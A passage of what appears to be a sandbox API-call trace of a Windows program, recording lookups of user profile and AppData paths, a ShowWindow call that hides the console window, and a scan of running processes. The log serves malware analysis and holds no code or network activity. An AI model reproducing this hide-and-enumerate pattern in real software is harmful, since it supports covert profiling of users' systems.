lpBuffer="") returned 0x12 [0127.751] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc0001365b0, nSize=0x64 | out: lpBuffer="") returned 0x12 [0127.751] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc000136680, nSize=0x64 | out: lpBuffer="") returned 0x12 [0127.751] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc000136750, nSize=0x64 | out: lpBuffer="") returned 0x12 [0127.771] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc000136820, nSize=0x64 | out: lpBuffer="") returned 0x12 [0127.771] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc0001368f0, nSize=0x64 | out: lpBuffer="") returned 0x12 [0127.792] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc0001369c0, nSize=0x64 | out: lpBuffer="") returned 0x12 [0127.792] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc000136a90, nSize=0x64 | out: lpBuffer="") returned 0x12 [0127.812] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc000136b60, nSize=0x64 | out: lpBuffer="") returned 0x12 [0127.835] SetEvent (hEvent=0xbc) returned 1 [0127.835] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0127.836] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc000136c30, nSize=0x64 | out: lpBuffer="") returned 0x12 [0127.885] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc000136d00, nSize=0x64 | out: lpBuffer="") returned 0x12 [0127.886] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc000136dd0, nSize=0x64 | out: lpBuffer="") returned 0x12 [0127.912] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc000136ea0, nSize=0x64 | out: lpBuffer="") returned 0x12 [0127.912] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc000136f70, nSize=0x64 | out: lpBuffer="") returned 0x12 [0127.939] GetEnvironmentVariableW (in: lpName="APPDATA", lpBuffer=0xc000137040, nSize=0x64 | out: lpBuffer="") returned 0x22 [0128.001] GetEnvironmentVariableW (in: lpName="LOCALAPPDATA", lpBuffer=0xc000137110, nSize=0x64 | out: lpBuffer="") returned 0x20 [0128.001] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc0001371e0, nSize=0x64 | out: lpBuffer="") returned 0x12 [0128.002] GetEnvironmentVariableW (in: lpName="APPDATA", lpBuffer=0xc0001372b0, nSize=0x64 | out: lpBuffer="") returned 0x22 [0128.002] GetEnvironmentVariableW (in: lpName="APPDATA", lpBuffer=0xc000137380, nSize=0x64 | out: lpBuffer="") returned 0x22 [0128.056] GetEnvironmentVariableW (in: lpName="APPDATA", lpBuffer=0xc000137450, nSize=0x64 | out: lpBuffer="") returned 0x22 [0128.096] SetEvent (hEvent=0xbc) returned 1 [0128.096] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0128.154] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc000137520, nSize=0x64 | out: lpBuffer="") returned 0x12 [0128.387] VirtualAlloc (lpAddress=0xc00017e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00017e000 [0128.450] SetEvent (hEvent=0xbc) returned 1 [0128.451] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0128.584] GetProcAddress (hModule=0x77660000, lpProcName="GetTempPathW") returned 0x776c20f0 [0128.586] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0xc0000ca000 | out: lpBuffer="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\") returned 0x25 [0128.587] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0xc0000ca240 | out: lpBuffer="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\") returned 0x25 [0128.587] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0xc0000ca480 | out: lpBuffer="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\") returned 0x25 [0128.608] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0xc0000ca6c0 | out: lpBuffer="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\") returned 0x25 [0128.608] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0xc0000ca900 | out: lpBuffer="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\") returned 0x25 [0128.608] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0xc0000cab40 | out: lpBuffer="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\") returned 0x25 [0128.629] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0xc0000cad80 | out: lpBuffer="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\") returned 0x25 [0128.629] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0xc0000cafc0 | out: lpBuffer="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\") returned 0x25 [0128.678] SetEvent (hEvent=0xbc) returned 1 [0128.678] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0128.700] LoadLibraryExW (lpLibFileName="kernel32.dll", hFile=0x0, dwFlags=0x800) returned 0x77660000 [0128.726] GetProcAddress (hModule=0x77660000, lpProcName="GetConsoleWindow") returned 0x776a07e0 [0128.726] GetConsoleWindow () returned 0x301f4 [0128.729] LoadLibraryW (lpLibFileName="user32.dll") returned 0x77780000 [0128.729] GetProcAddress (hModule=0x77780000, lpProcName="ShowWindow") returned 0x77791930 [0128.730] ShowWindow (hWnd=0x301f4, nCmdShow=0) returned 1 [0128.928] LoadLibraryExW (lpLibFileName="psapi.dll", hFile=0x0, dwFlags=0x800) returned 0x77a50000 [0128.958] GetProcAddress (hModule=0x77a50000, lpProcName="EnumProcesses") returned 0x77a511b0 [0128.958] EnumProcesses (in: lpidProcess=0xc0000cc000, cb=0x1000, lpcbNeeded=0xc00019fa68 | out: lpidProcess=0xc0000cc000, lpcbNeeded=0xc00019fa68) returned 1 [0129.115] VirtualAlloc (lpAddress=0xc0001ba000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001ba000 [0129.116] GetProcAddress (hModule=0x77660000, lpProcName="OpenProcess") returned 0x7767bf00 [0129.116] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0129.206] GetProcAddress (hModule=0x77660000, lpProcName="FormatMessageW") returned 0x77672ce0 [0130.112] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x57, dwLanguageId=0x409, lpBuffer=0xc00019f2c0, nSize=0x12c, Arguments=0x0 | out: lpBuffer="The parameter is incorrect.\r\n") returned 0x1d [0130.816] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x4) returned 0x144 [0130.899] GetProcAddress (hModule=0x77660000, lpProcName="GetExitCodeProcess") returned 0x77670750 [0130.899] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0130.941] CloseHandle (hObject=0x144) returned 1 [0130.941] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x4) returned 0x144 [0130.942] GetProcAddress (hModule=0x77660000, lpProcName="GetProcessTimes") returned 0x77663d10 [0130.942] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016c840, lpExitTime=0xc00016c848, lpKernelTime=0xc00016c850, lpUserTime=0xc00016c858 | out: lpCreationTime=0xc00016c840, lpExitTime=0xc00016c848, lpKernelTime=0xc00016c850, lpUserTime=0xc00016c858) returned 1 [0130.944] GetProcAddress (hModule=0x77660000, lpProcName="CloseHandle") returned 0x77681960 [0130.944] CloseHandle (hObject=0x144) returned 1 [0130.944] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x10c) returned 0x144 [0130.945] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0130.945] CloseHandle (hObject=0x144) returned 1 [0130.945] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x10c) returned 0x144 [0130.945] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016c860, lpExitTime=0xc00016c868, lpKernelTime=0xc00016c870, lpUserTime=0xc00016c878 | out: lpCreationTime=0xc00016c860, lpExitTime=0xc00016c868, lpKernelTime=0xc00016c870, lpUserTime=0xc00016c878) returned 1 [0130.945] CloseHandle (hObject=0x144) returned 1 [0130.945] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x11c) returned 0x144 [0130.946] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0130.946] CloseHandle (hObject=0x144) returned 1 [0130.946] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x11c) returned 0x144 [0130.946] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016c880, lpExitTime=0xc00016c888, lpKernelTime=0xc00016c890, lpUserTime=0xc00016c898 | out: lpCreationTime=0xc00016c880, lpExitTime=0xc00016c888, lpKernelTime=0xc00016c890, lpUserTime=0xc00016c898) returned 1 [0130.947] CloseHandle (hObject=0x144) returned 1 [0130.947] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x154) returned 0x144 [0130.947] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0130.947] CloseHandle (hObject=0x144) returned 1 [0130.947] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x154) returned 0x144 [0130.947] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016c8a0, lpExitTime=0xc00016c8a8, lpKernelTime=0xc00016c8b0, lpUserTime=0xc00016c8b8 | out: lpCreationTime=0xc00016c8a0, lpExitTime=0xc00016c8a8, lpKernelTime=0xc00016c8b0, lpUserTime=0xc00016c8b8) returned 1 [0130.948] CloseHandle (hObject=0x144) returned 1 [0130.948] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x178) returned 0x144 [0130.948] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0130.948] CloseHandle (hObject=0x144) returned 1 [0130.948] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x178) returned 0x144 [0130.949] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016c8c0, lpExitTime=0xc00016c8c8, lpKernelTime=0xc00016c8d0, lpUserTime=0xc00016c8d8 | out: lpCreationTime=0xc00016c8c0, lpExitTime=0xc00016c8c8, lpKernelTime=0xc00016c8d0, lpUserTime=0xc00016c8d8) returned 1 [0130.949] CloseHandle (hObject=0x144) returned 1 [0130.949] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x184) returned 0x144 [0130.949] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0130.949] CloseHandle (hObject=0x144) returned 1 [0130.949] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x184) returned 0x144 [0130.949] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016c8e0, lpExitTime=0xc00016c8e8, lpKernelTime=0xc00016c8f0, lpUserTime=0xc00016c8f8 | out: lpCreationTime=0xc00016c8e0, lpExitTime=0xc00016c8e8, lpKernelTime=0xc00016c8f0, lpUserTime=0xc00016c8f8) returned 1 [0130.950] CloseHandle (hObject=0x144) returned 1 [0130.950] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x1ac) returned 0x144 [0130.950] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0130.951] CloseHandle (hObject=0x144) returned 1 [0130.951] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x1ac) returned 0x144 [0130.951] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016c900, lpExitTime=0xc00016c908, lpKernelTime=0xc00016c910, lpUserTime=0xc00016c918 | out: lpCreationTime=0xc00016c900, lpExitTime=0xc00016c908, lpKernelTime=0xc00016c910, lpUserTime=0xc00016c918) returned 1 [0130.951] CloseHandle (hObject=0x144) returned 1 [0130.951] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x1d8) returned 0x144 [0130.952] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0130.952] CloseHandle (hObject=0x144) returned 1 [0130.952] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x1d8) returned 0x144 [0130.952] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016c920, lpExitTime=0xc00016c928, lpKernelTime=0xc00016c930, lpUserTime=0xc00016c938 | out: lpCreationTime=0xc00016c920, lpExitTime=0xc00016c928, lpKernelTime=0xc00016c930, lpUserTime=0xc00016c938) returned 1 [0130.953] CloseHandle (hObject=0x144) returned 1 [0131.160] VirtualAlloc (lpAddress=0xc0001bc000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001bc000 [0131.183] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x1e0) returned 0x144 [0131.183] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.183] CloseHandle (hObject=0x144) returned 1 [0131.183] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x1e0) returned 0x144 [0131.190] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016c940, lpExitTime=0xc00016c948, lpKernelTime=0xc00016c950, lpUserTime=0xc00016c958 | out: lpCreationTime=0xc00016c940, lpExitTime=0xc00016c948, lpKernelTime=0xc00016c950, lpUserTime=0xc00016c958) returned 1 [0131.190] CloseHandle (hObject=0x144) returned 1 [0131.190] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x1e8) returned 0x144 [0131.190] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.191] CloseHandle (hObject=0x144) returned 1 [0131.191] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x1e8) returned 0x144 [0131.191] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016c960, lpExitTime=0xc00016c968, lpKernelTime=0xc00016c970, lpUserTime=0xc00016c978 | out: lpCreationTime=0xc00016c960, lpExitTime=0xc00016c968, lpKernelTime=0xc00016c970, lpUserTime=0xc00016c978) returned 1 [0131.192] CloseHandle (hObject=0x144) returned 1 [0131.192] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x254) returned 0x144 [0131.192] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.193] CloseHandle (hObject=0x144) returned 1 [0131.193] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x254) returned 0x144 [0131.193] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016c980, lpExitTime=0xc00016c988, lpKernelTime=0xc00016c990, lpUserTime=0xc00016c998 | out: lpCreationTime=0xc00016c980, lpExitTime=0xc00016c988, lpKernelTime=0xc00016c990, lpUserTime=0xc00016c998) returned 1 [0131.194] CloseHandle (hObject=0x144) returned 1 [0131.194] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x298) returned 0x144 [0131.194] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.195] CloseHandle (hObject=0x144) returned 1 [0131.195] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x298) returned 0x144 [0131.195] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016c9a0, lpExitTime=0xc00016c9a8, lpKernelTime=0xc00016c9b0, lpUserTime=0xc00016c9b8 | out: lpCreationTime=0xc00016c9a0, lpExitTime=0xc00016c9a8, lpKernelTime=0xc00016c9b0, lpUserTime=0xc00016c9b8) returned 1 [0131.196] CloseHandle (hObject=0x144) returned 1 [0131.196] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x2ac) returned 0x144 [0131.197] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.197] CloseHandle (hObject=0x144) returned 1 [0131.197] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x2ac) returned 0x144 [0131.197] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016c9c0, lpExitTime=0xc00016c9c8, lpKernelTime=0xc00016c9d0, lpUserTime=0xc00016c9d8 | out: lpCreationTime=0xc00016c9c0, lpExitTime=0xc00016c9c8, lpKernelTime=0xc00016c9d0, lpUserTime=0xc00016c9d8) returned 1 [0131.198] CloseHandle (hObject=0x144) returned 1 [0131.198] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x2c8) returned 0x144 [0131.198] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.199] CloseHandle (hObject=0x144) returned 1 [0131.199] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x2c8) returned 0x144 [0131.200] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016c9e0, lpExitTime=0xc00016c9e8, lpKernelTime=0xc00016c9f0, lpUserTime=0xc00016c9f8 | out: lpCreationTime=0xc00016c9e0, lpExitTime=0xc00016c9e8, lpKernelTime=0xc00016c9f0, lpUserTime=0xc00016c9f8) returned 1 [0131.201] CloseHandle (hObject=0x144) returned 1 [0131.201] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x324) returned 0x144 [0131.201] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.201] CloseHandle (hObject=0x144) returned 1 [0131.201] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x324) returned 0x144 [0131.201] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016ca00, lpExitTime=0xc00016ca08, lpKernelTime=0xc00016ca10, lpUserTime=0xc00016ca18 | out: lpCreationTime=0xc00016ca00, lpExitTime=0xc00016ca08, lpKernelTime=0xc00016ca10, lpUserTime=0xc00016ca18) returned 1 [0131.202] CloseHandle (hObject=0x144) returned 1 [0131.202] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x338) returned 0x144 [0131.202] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.203] CloseHandle (hObject=0x144) returned 1 [0131.203] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x338) returned 0x144 [0131.203] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016ca20, lpExitTime=0xc00016ca28, lpKernelTime=0xc00016ca30, lpUserTime=0xc00016ca38 | out: lpCreationTime=0xc00016ca20, lpExitTime=0xc00016ca28, lpKernelTime=0xc00016ca30, lpUserTime=0xc00016ca38) returned 1 [0131.204] CloseHandle (hObject=0x144) returned 1 [0131.204] VirtualAlloc (lpAddress=0xc0001be000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001be000 [0131.205] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x36c) returned 0x144 [0131.205] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.205] CloseHandle (hObject=0x144) returned 1 [0131.205] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x36c) returned 0x144 [0131.206] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016ca40, lpExitTime=0xc00016ca48, lpKernelTime=0xc00016ca50, lpUserTime=0xc00016ca58 | out: lpCreationTime=0xc00016ca40, lpExitTime=0xc00016ca48, lpKernelTime=0xc00016ca50, lpUserTime=0xc00016ca58) returned 1 [0131.207] CloseHandle (hObject=0x144) returned 1 [0131.207] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x3d0) returned 0x144 [0131.207] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.207] CloseHandle (hObject=0x144) returned 1 [0131.208] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x3d0) returned 0x144 [0131.208] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016ca60, lpExitTime=0xc00016ca68, lpKernelTime=0xc00016ca70, lpUserTime=0xc00016ca78 | out: lpCreationTime=0xc00016ca60, lpExitTime=0xc00016ca68, lpKernelTime=0xc00016ca70, lpUserTime=0xc00016ca78) returned 1 [0131.208] CloseHandle (hObject=0x144) returned 1 [0131.208] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x3fc) returned 0x144 [0131.208] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.209] CloseHandle (hObject=0x144) returned 1 [0131.209] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x3fc) returned 0x144 [0131.209] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016ca80, lpExitTime=0xc00016ca88, lpKernelTime=0xc00016ca90, lpUserTime=0xc00016ca98 | out: lpCreationTime=0xc00016ca80, lpExitTime=0xc00016ca88, lpKernelTime=0xc00016ca90, lpUserTime=0xc00016ca98) returned 1 [0131.209] CloseHandle (hObject=0x144) returned 1 [0131.210] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x410) returned 0x144 [0131.217] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.217] CloseHandle (hObject=0x144) returned 1 [0131.217] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x410) returned 0x144 [0131.217] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016caa0, lpExitTime=0xc00016caa8, lpKernelTime=0xc00016cab0, lpUserTime=0xc00016cab8 | out: lpCreationTime=0xc00016caa0, lpExitTime=0xc00016caa8, lpKernelTime=0xc00016cab0, lpUserTime=0xc00016cab8) returned 1 [0131.218] CloseHandle (hObject=0x144) returned 1 [0131.218] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x444) returned 0x144 [0131.218] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.218] CloseHandle (hObject=0x144) returned 1 [0131.219] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x444) returned 0x144 [0131.219] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016cac0, lpExitTime=0xc00016cac8, lpKernelTime=0xc00016cad0, lpUserTime=0xc00016cad8 | out: lpCreationTime=0xc00016cac0, lpExitTime=0xc00016cac8, lpKernelTime=0xc00016cad0, lpUserTime=0xc00016cad8) returned 1 [0131.219] CloseHandle (hObject=0x144) returned 1 [0131.219] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x470) returned 0x144 [0131.219] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.219] CloseHandle (hObject=0x144) returned 1 [0131.220] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x470) returned 0x144 [0131.220] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016cae0, lpExitTime=0xc00016cae8, lpKernelTime=0xc00016caf0, lpUserTime=0xc00016caf8 | out: lpCreationTime=0xc00016cae0, lpExitTime=0xc00016cae8, lpKernelTime=0xc00016caf0, lpUserTime=0xc00016caf8) returned 1 [0131.220] CloseHandle (hObject=0x144) returned 1 [0131.220] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x490) returned 0x144 [0131.221] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.221] CloseHandle (hObject=0x144) returned 1 [0131.221] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x490) returned 0x144 [0131.221] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016cb00, lpExitTime=0xc00016cb08, lpKernelTime=0xc00016cb10, lpUserTime=0xc00016cb18 | out: lpCreationTime=0xc00016cb00, lpExitTime=0xc00016cb08, lpKernelTime=0xc00016cb10, lpUserTime=0xc00016cb18) returned 1 [0131.222] CloseHandle (hObject=0x144) returned 1 [0131.222] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x4b0) returned 0x144 [0131.223] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.223] CloseHandle (hObject=0x144) returned 1 [0131.223] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x4b0) returned 0x144 [0131.223] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016cb20, lpExitTime=0xc00016cb28, lpKernelTime=0xc00016cb30, lpUserTime=0xc00016cb38 | out: lpCreationTime=0xc00016cb20, lpExitTime=0xc00016cb28, lpKernelTime=0xc00016cb30, lpUserTime=0xc00016cb38) returned 1 [0131.224] CloseHandle (hObject=0x144) returned 1 [0131.224] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x4d0) returned 0x144 [0131.224] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.224] CloseHandle (hObject=0x144) returned 1 [0131.225] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x4d0) returned 0x144 [0131.225] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016cb40, lpExitTime=0xc00016cb48, lpKernelTime=0xc00016cb50, lpUserTime=0xc00016cb58 | out: lpCreationTime=0xc00016cb40, lpExitTime=0xc00016cb48, lpKernelTime=0xc00016cb50, lpUserTime=0xc00016cb58) returned 1 [0131.225] CloseHandle (hObject=0x144) returned 1 [0131.225] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x520) returned 0x144 [0131.225] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.226] CloseHandle (hObject=0x144) returned 1 [0131.226] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x520) returned 0x144 [0131.226] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016cb60, lpExitTime=0xc00016cb68, lpKernelTime=0xc00016cb70, lpUserTime=0xc00016cb78 | out: lpCreationTime=0xc00016cb60, lpExitTime=0xc00016cb68, lpKernelTime=0xc00016cb70, lpUserTime=0xc00016cb78) returned 1 [0131.226] CloseHandle (hObject=0x144) returned 1 [0131.226] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x54c) returned 0x144 [0131.227] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.227] CloseHandle (hObject=0x144) returned 1 [0131.227] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x54c) returned 0x144 [0131.227] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016cb80, lpExitTime=0xc00016cb88, lpKernelTime=0xc00016cb90, lpUserTime=0xc00016cb98 | out: lpCreationTime=0xc00016cb80, lpExitTime=0xc00016cb88, lpKernelTime=0xc00016cb90, lpUserTime=0xc00016cb98) returned 1 [0131.227] CloseHandle (hObject=0x144) returned 1 [0131.227] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x610) returned 0x144 [0131.228] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.228] CloseHandle (hObject=0x144) returned 1 [0131.228] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x610) returned 0x144 [0131.228] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016cba0, lpExitTime=0xc00016cba8, lpKernelTime=0xc00016cbb0, lpUserTime=0xc00016cbb8 | out: lpCreationTime=0xc00016cba0, 